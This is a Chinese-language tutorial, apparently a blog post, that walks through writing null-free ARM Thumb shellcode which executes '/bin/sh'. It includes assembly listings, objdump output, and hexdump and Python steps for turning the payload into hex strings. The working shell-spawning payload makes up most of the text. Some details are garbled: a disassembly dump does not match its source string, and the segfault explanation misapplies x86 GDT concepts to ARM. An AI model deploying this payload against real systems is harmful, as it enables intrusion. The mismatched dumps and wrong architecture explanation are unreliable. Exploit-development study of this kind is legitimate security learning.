ARM实战前的准备 :
实战前的准备
-
strace
:跟踪程序调用的系统函数 -
系统调用号
:系统函数的调用标号。例如:grep write /usr/include/arm-linux-gnueabihf/asm/unistd.h - 查找系统函数调用时需要的参数:w3calls
-
objdump
:检查反汇编程序中的空字节
ARM指令详细介绍https://sourceware.org/binutils/docs-2.31/as/index.html
.data @告诉汇编器,下面的内容是数据段
output_string: .asciz "i am a hacker!\n" @.asciz:字符串结尾为空字节
after_string:
.set size_of_string, after_string-output_string
.text @告诉汇编器,下面的内容是代码段
.global _start @声明全局助记符
_start:
mov r0,#1
ldr r1,addr_output_string
mov r2,#size_of_string
mov r7,#4
swi #0 @调用系统调用号4,即write函数
mov r7,#1
swi 0 @exit
addr_output_string: .word output_string
addr_after_string: .word after_string
实现没有空字符的汇编代码
.global _start
.text
_start:
.code 32 @告诉编译器,下面的代码是32位指令
add r3,pc,#1
bx r3
.code 16 @告诉编译器,下面的代码是16位指令
add r0,pc,#8
eor r1,r1,r1
eor r2,r2,r2
mov r7,#11
svc #1 @调用系统函数
mov r5, r5 @保证指令都是4字节对齐
.ascii "/bin/sh\0"
反编译后还是存在null字符,当然肯定比32位的汇编程序少多了,现在我们需要继续去除剩余的空字符,保证shellcode的完整性
先使用as生成.o文件as execve.s -o execve.o
,然后objdump -d execve.o
反汇编程序
0: e28f3001 add r3, pc, #1
4: e12fff13 bx r3
8: a002 add r0, pc, #8 ; (adr r0, 14 <_start+0x14>)
a: 4049 eors r1, r1
c: 4052 eors r2, r2
e: 270b movs r7, #11
10: df01 svc 1
12: 1c2d adds r5, r5, #0
14: 6e69622f .word 0x6e69622f
18: 7361622f .word 0x7361622f
1c: 46c000
68 .word 0x46c00068
增加一个行字符替换指令,减少了一行保证指令缩进的误用误用指令
.global _start
.text
_start:
.code 32
add r3,pc,#1
bx r3
.code 16
add r0,pc,#8
eor r1,r1,r1
eor r2,r2,r2
strb r2,[r0, #7]
mov r7,#11
svc #1
.ascii "/bin/shx"
结果:不再有空字符
00000000 <_start>:
0: e28f3001 add r3, pc, #1
4: e12fff13 bx r3
8: a002 add r0, pc, #8 ; (adr r0, 14 <_start+0x14>)
a: 4049 eors r1, r1
c: 4052 eors r2, r2
e: 71c2 strb r2, [r0, #7]
10: 270b movs r7, #11
12: df01 svc 1
14: 6e69622f .word 0x6e69622f
18: 7868732f .word 0x7868732f
Segmentation fault
代码
.global _start
.text
_start:
.code 32
add r3,pc,#1
bx r3
.code 16
add r0,pc,#8
eor r1,r1,r1
eor r2,r2,r2
strb r2,[r0, #7]
mov r7,#11
svc #1
.ascii "/bin/shx"
as execve.s -o execve.o && ld execve.o -o execve然后执行./execve会出现错误Segmentation fault
所谓的段错误就是指访问的内存超过了系统所给这个程序的内存空间,通常这个值是由gdtr来保存的,他是一个48位的寄存器,其中的32位是保存由它指向的gdt表,后13位保存相应于gdt的下标,最后3位包括了程序是否在内存中以及程序的在cpu中的运行级别,指向的gdt是由以64位为一个单位的表,在这张表中就保存着程序运行的代码段以及数据段的起始地址以及相应的断限和页面交换还有程序运行级别和内存粒度等信息,一旦一个程序发生了越界访问,CPU就会产生相应的异常保护,于是segmentation fault就出现了
原文:https://blog.csdn.net/u010150046/article/details/77775114
根据gdb调试,运行到 strb r2,[r0, #7]这条指令时会出错,明显是它访问了不可访问内存数据
解决方法:as execve.s -o execve.o && ld -N
execve.o -o execve,让生成的程序的数据可读
ld --help
....
-N, --omagic 不要页面对齐数据, 让代码不是只读
...
将shellcode十六进制化
objcopy:复制二进制文件,并在过程中对其进行改变。从ELF二进制文件中提取原始shellcode
-
先从elf二进制文件中提取原始shellcode
objcopy -O <ELF文件> <输出的原始shellcode文件> -
将shellcode 转成十六进制
(1)hexdump -v -e '"\\""x" 1/1 "%02x" ""'
<原始shellcode文件>
(2)python脚本
#!/usr/bin/env python
import sys
binary = open(sys.argv[1],'rb')
for byte in binary.read():
sys.stdout.write("\\x"+byte.encode("hex"))
print ""